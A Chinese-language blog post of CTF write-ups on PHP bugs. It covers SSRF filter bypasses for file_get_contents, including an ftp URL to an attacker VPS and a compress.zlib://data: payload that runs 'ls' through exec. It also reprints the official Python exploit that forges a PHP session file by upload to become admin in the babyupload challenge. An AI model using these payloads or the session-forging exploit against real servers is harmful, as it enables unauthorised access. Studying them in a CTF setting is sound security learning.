0%

blog-restart

前言

很久(一年多)没有写博客了 最近在几道题中遇到了php的一些东西 正好记录一下 顺带水一篇文章 之前博客的文章全部删掉了 因为数量本来就少且质量不高所以无伤大雅 也算是准备重新开始写博客

ssrf via file_get_contents()

bytectf boring_code

部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (isset($_POST['url'])) {
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
print_r($r);
if (preg_match('/baidu\.com$/', $r['host'])) {
echo "pass preg_match";
$code = file_get_contents($url);
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
} else {
highlight_file(__FILE__);
}

限制为:

  • filter_var 的 FILTER_VALIDATE_URL 选项
  • 限制data协议
  • 正则限制parse_url之后的host必须以 baidu.com 结尾

绕过方法:

  • 购买域名
  • 百度的任意跳转
  • ftp协议(后面还会提到)

常见的对filter_var和parse_url的绕过 和file_get_contents函数都是不搭配的 也就是绕过了前两个函数 最后的url也不会被识别访问

高校战疫ctf hackme

部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}

可以看到两题的逻辑几乎一致 此题限制为:

  • filter_var 的 FILTER_VALIDATE_URL 选项
  • 限制data协议
  • 正则限制parse_url之后的host必须以 127.0.0.1 结尾

因为限制host为本地 本地也没有提供可以跳转或是直接控制回显的地方 所以几乎掐死了上面那题的绕过姿势 google一番后只剩下两条路:

  • ftp协议
  • 新的绕过思路

第一条路是bytectf的部分队伍wp中提到的解法 但是网上没有明确的payload 查了一波文档 在file_get_contents函数所支持的协议中 确实包括了ftp协议 于是搭建了一个ftp server 进行测试

1
file_get_contents("ftp://vps-ip:port,127.0.0.1/evil.txt");

在vps进行nc 确实收到了ftp请求 但是这个payload打过去之后 会直接卡住没有后续 抓包进行分析会发现ftp server端回应了ftp请求 给出了passive模式的连接端口 但是ftp client 也就是file_get_contents函数没有进行连接 而是一直等待 最后造成了卡住的结果

这题当时的解决想法是手撸一个ftp_server进行交互 但碍于时间关系最后还是没有做出来(其实是菜+嫌麻烦) 赛后找到了有相同思路的师傅的分析文章 在这里贴一个 记一次PHP SSRF绕过时遇到的坑

第二条路 看下Nu1L的wp

1
url=compress.zlib://data:@127.0.0.1/baidu.com?,ls

很显然这个payload改一下拿去打bytectf那道题也是可以的 orz 测试分析一下

1
echo file_get_contents("data:@127.0.0.1/,a");

这条语句的结果就是字母a 但是这个过不了filter_var 所以前面套上一个compress.zlib

总结: 当造成SSRF的点是file_get_contents时的几个利用姿势

一道session相关的题目

一些前置的点
  • session存储位置为 文件路径(由save_path配置) 或 数据库
  • session文件名为sess_+phpsessid
  • session存储格式为序列化的字符串
    • php 键名+|+serialize(值)
    • php_binary 键名长度ASCII+键名+:+serialize(值)
    • php_serialize ( php >= 5.5.4 ) serialize(数组)
虎符网络安全赛 babyupload

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

其实这题和session没多大关系 只是遇到了重新复习一下session相关的东西 主要的点就两个

  • 下载session文件 得到session格式 伪造session内容后上传
  • file_exists() 如果参数为一个存在的目录时 返回true

直接贴官方exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
from io import BytesIO
import hashlib

target_url = "http://x.changame.ichunqiu.com/"

def ReadSession():
data = {
'attr':'.',
'direction':'download',
'filename':'sess_bd6cbb52f804cc7b52d4ca5339dbd4e0'
}
url = target_url
s = requests.get(url=url)
r = requests.post(url=url,data=data)
print r.content[len(s.content):]

def BeAdmin():
files = {
"up_file": ("sess", BytesIO('\x08usernames:5:"admin";'))
}

data = {
'attr':'.',
'direction':'upload'
}
url = target_url
r = requests.post(url=url,data=data,files=files)
session_id = hashlib.sha256('\x08usernames:5:"admin";').hexdigest()
return session_id

def upload_success():
files = {
"up_file": ("test", BytesIO('good job!'))
}
data = {
'attr':'success.txt',
'direction':'upload'
}
url = target_url
r = requests.post(url=url,data=data,files=files)

print 'Now Guest PHPSESSION Content is:',ReadSession()
print 'PHPSESSID is:',BeAdmin()
print 'Now Upload Success.txt'
print '*'*50
upload_success()
php_session_id = BeAdmin()
cookies = {
'PHPSESSID':php_session_id
}
url = target_url
s = requests.get(url)
r = requests.get(url=url,cookies=cookies)
print 'Now here is your flag!'
print r.content[len(s.content):]